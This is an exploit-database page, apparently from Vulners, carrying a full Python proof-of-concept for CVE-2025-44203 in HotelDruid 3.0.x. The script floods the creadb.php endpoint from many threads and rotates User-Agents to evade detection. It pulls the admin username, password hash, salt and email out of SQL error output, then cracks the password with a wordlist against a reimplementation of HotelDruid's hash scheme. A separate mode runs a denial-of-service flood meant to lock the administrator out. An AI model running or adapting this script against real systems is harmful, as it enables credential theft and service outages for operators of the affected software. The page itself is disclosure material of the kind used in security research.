| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Exploit for Uncontrolled Resource Consumption in Digitaldruid Hoteldruid | 18 Jun 202518:22 | โ | githubexploit | |
| June Linux Patch Wednesday | 1 Jul 202511:28 | โ | avleonov | |
| CVE-2025-44203 | 18 Jun 202519:07 | โ | circl | |
| Hoteldruid ๅฎๅ จๆผๆด | 20 Jun 202500:00 | โ | cnnvd | |
| CVE-2025-44203 | 20 Jun 202500:00 | โ | cve | |
| CVE-2025-44203 | 20 Jun 202500:00 | โ | cvelist | |
| CVE-2025-44203 | 20 Jun 202500:00 | โ | debiancve | |
| EUVD-2025-18763 | 3 Oct 202520:07 | โ | euvd | |
| CVE-2025-44203 | 20 Jun 202516:15 | โ | nvd | |
| CVE-2025-44203 | 20 Jun 202516:15 | โ | osv |
==================================================================================================================================
| # Title : HotelDruid 3.0.x Credential Exposure & Stress Testing |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.hoteldruid.com/ |
==================================================================================================================================
[+] Summary : a vulnerability in HotelDruid (versions 3.0.0โ3.0.7).
It performs high-volume HTTP requests to a vulnerable endpoint (creadb.php) in order to trigger a potential race condition or SQL error-based information disclosure.
[+] POC :
#!/usr/bin/env python3
import sys
import requests
import threading
import time
import re
import hashlib
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
]
REQUEST_DELAY = 0.02
THREADS = 50
DEFAULT_WORDLIST = "rockyou.txt"
class HotelDruidExploit:
def __init__(self, target_ip, port=80, path="/hoteldruid/"):
self.base_url = f"http://{target_ip}:{port}{path}"
self.creadb_url = urljoin(self.base_url, "creadb.php")
self.extracted_data = {
"username": None,
"hash": None,
"salt": None,
"full_response": None
}
self.found_event = threading.Event()
self.lock = threading.Lock()
def _get_headers(self):
"""Generate randomized headers to avoid detection"""
import random
return {
"User-Agent": random.choice(USER_AGENTS),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": self.base_url.rstrip('/'),
"Connection": "keep-alive",
"Referer": urljoin(self.base_url, "inizio.php"),
"Upgrade-Insecure-Requests": "1"
}
def _extract_sensitive_data(self, response_text):
"""Extract username, password hash, and salt from SQL error messages"""
patterns = {
"username": r"username[_\s]*=[_\s]*['\"]?([a-zA-Z0-9_]+)['\"]?",
"hash": r"password[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{32})['\"]?",
"salt": r"salt[_\s]*=[_\s]*['\"]?([a-fA-F0-9]{20,40})['\"]?",
"email": r"email[_\s]*=[_\s]*['\"]?([^'\"]+@[^'\"]+)['\"]?"
}
extracted = {}
for key, pattern in patterns.items():
match = re.search(pattern, response_text, re.IGNORECASE)
if match:
extracted[key] = match.group(1)
mysql_pattern = r"VALUES\s*\(\s*'([^']+)'[^,]+,\s*'([a-f0-9]{32})'[^,]+,\s*'([a-f0-9]{20,})'"
match = re.search(mysql_pattern, response_text, re.IGNORECASE)
if match and not extracted.get("username"):
extracted["username"] = match.group(1)
extracted["hash"] = match.group(2)
extracted["salt"] = match.group(3)
return extracted
def send_request(self, request_id):
"""Send a single POST request to creadb.php"""
if self.found_event.is_set():
return None
try:
headers = self._get_headers()
data = {"lingua": "en"}
response = requests.post(
self.creadb_url,
headers=headers,
data=data,
timeout=10,
allow_redirects=False
)
if response.status_code == 200:
extracted = self._extract_sensitive_data(response.text)
if extracted and (extracted.get("hash") or extracted.get("salt")):
with self.lock:
self.extracted_data.update(extracted)
self.extracted_data["full_response"] = response.text
print(f"\n[!] SUCCESS! Sensitive data extracted from request #{request_id}")
print(f"[+] Username: {extracted.get('username', 'N/A')}")
print(f"[+] Hash (MD5): {extracted.get('hash', 'N/A')}")
print(f"[+] Salt: {extracted.get('salt', 'N/A')}")
print(f"[+] Email: {extracted.get('email', 'N/A')}")
self.found_event.set()
return extracted
if request_id % 50 == 0:
print(f"[*] Sent {request_id} requests...", end="\r")
except requests.exceptions.ConnectionError:
if request_id > 10:
print(f"\n[!] Connection failed - Possible DoS condition achieved!")
self.found_event.set()
except Exception as e:
pass
return None
def exploit(self, total_requests=500):
"""Main exploitation routine with multi-threading"""
print(f"[*] Targeting: {self.creadb_url}")
print(f"[*] Sending {total_requests} concurrent requests to trigger race condition...")
print("[*] This may take a few minutes...\n")
start_time = time.time()
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {
executor.submit(self.send_request, i): i
for i in range(1, total_requests + 1)
}
for future in as_completed(futures):
if self.found_event.is_set():
for f in futures:
f.cancel()
break
time.sleep(REQUEST_DELAY)
elapsed = time.time() - start_time
if not self.found_event.is_set():
print("\n[-] Exploit failed to extract data.")
print("[!] Try increasing total_requests or reducing system resources on target.")
return False
print(f"\n[*] Exploitation completed in {elapsed:.2f} seconds")
return True
def calculate_custom_hash(self, password, salt):
"""Recreate the custom HotelDruid hashing algorithm"""
hashed = hashlib.md5((password + salt).encode()).hexdigest()
for num in range(1, 15):
truncated_salt = salt[:(20 - num)]
hashed = hashlib.md5((hashed + truncated_salt).encode()).hexdigest()
return hashed
def crack_password(self, wordlist_path, max_attempts=10000000):
"""Brute force the password using the extracted salt and hash"""
if not self.extracted_data["hash"] or not self.extracted_data["salt"]:
print("[-] Missing hash or salt. Cannot crack password.")
return None
print(f"\n[*] Starting password cracking...")
print(f"[*] Target Hash: {self.extracted_data['hash']}")
print(f"[*] Salt: {self.extracted_data['salt']}")
print(f"[*] Wordlist: {wordlist_path}")
try:
with open(wordlist_path, 'r', encoding='latin-1', errors='ignore') as f:
for idx, line in enumerate(f):
password = line.strip()
if idx % 10000 == 0 and idx > 0:
print(f"[*] Attempted {idx} passwords...", end="\r")
calculated_hash = self.calculate_custom_hash(password, self.extracted_data["salt"])
if calculated_hash == self.extracted_data["hash"]:
print(f"\n[+] PASSWORD FOUND: {password}")
return password
if idx >= max_attempts:
break
except FileNotFoundError:
print(f"[-] Wordlist not found: {wordlist_path}")
return None
print("\n[-] Password not found in wordlist.")
return None
def trigger_dos(self, intense=True):
"""Trigger DoS condition by overwhelming the database setup process"""
print(f"\n[*] Triggering DoS condition...")
if intense:
total = 1000
print(f"[*] Sending {total} rapid requests to corrupt database state...")
def flood():
for i in range(total):
try:
requests.post(self.creadb_url, data={"lingua": "en"}, timeout=2)
except:
pass
with ThreadPoolExecutor(max_workers=20) as executor:
futures = [executor.submit(flood) for _ in range(5)]
for f in as_completed(futures):
pass
else:
for i in range(300):
try:
requests.post(self.creadb_url, data={"lingua": "en"}, timeout=1)
except:
pass
time.sleep(0.02)
print("[+] DoS attack completed. Administrator may not be able to login with original credentials.")
return True
def main():
parser = argparse.ArgumentParser(description="HotelDruid 3.0.0/3.0.7 Exploit - CVE-2025-44203")
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=80, help="HTTP port (default: 80)")
parser.add_argument("-r", "--requests", type=int, default=500, help="Number of requests (default: 500)")
parser.add_argument("-w", "--wordlist", default=DEFAULT_WORDLIST, help="Wordlist for password cracking")
parser.add_argument("--dos-only", action="store_true", help="Only perform DoS attack")
parser.add_argument("--crack-only", action="store_true", help="Only crack password using existing extracted data")
parser.add_argument("--hash", help="Hash value (for crack-only mode)")
parser.add_argument("--salt", help="Salt value (for crack-only mode)")
args = parser.parse_args()
banner = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ CVE-2025-44203 - HotelDruid 3.0.0/3.0.7 โ
โ Advanced Exploit: Credential Disclosure + DoS โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
print(banner)
if args.crack_only:
if not args.hash or not args.salt:
print("[-] Crack-only mode requires --hash and --salt")
sys.exit(1)
exploit = HotelDruidExploit(args.target)
exploit.extracted_data["hash"] = args.hash
exploit.extracted_data["salt"] = args.salt
password = exploit.crack_password(args.wordlist)
if password:
print(f"\n[+] Plaintext password: {password}")
sys.exit(0)
if args.dos_only:
exploit = HotelDruidExploit(args.target, args.port)
exploit.trigger_dos(intense=True)
sys.exit(0)
exploit = HotelDruidExploit(args.target, args.port)
if not exploit.exploit(total_requests=args.requests):
print("\n[!] Exploit failed. Possible reasons:")
print(" - Target is patched (version >= 3.0.8)")
print(" - Target has sufficient resources (4+ cores / 4+ GB RAM)")
print(" - 'Restrict to localhost' is set to Yes")
print(" - Try increasing --requests parameter")
sys.exit(1)
if exploit.extracted_data["hash"] and exploit.extracted_data["salt"]:
password = exploit.crack_password(args.wordlist)
if password:
print(f"\n[+] SUCCESSFUL EXPLOITATION COMPLETE!")
print(f"[+] Username: {exploit.extracted_data['username']}")
print(f"[+] Password: {password}")
print(f"\n[*] Note: DoS condition has been triggered.")
print("[*] The administrator cannot login with the original credentials.")
print("[*] You cannot login either - this is a pure DoS + info disclosure.")
else:
print("\n[-] Could not extract complete hash/salt for password cracking.")
choice = input("\n[?] Trigger additional DoS attack? (y/n): ").lower()
if choice == 'y':
exploit.trigger_dos(intense=True)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation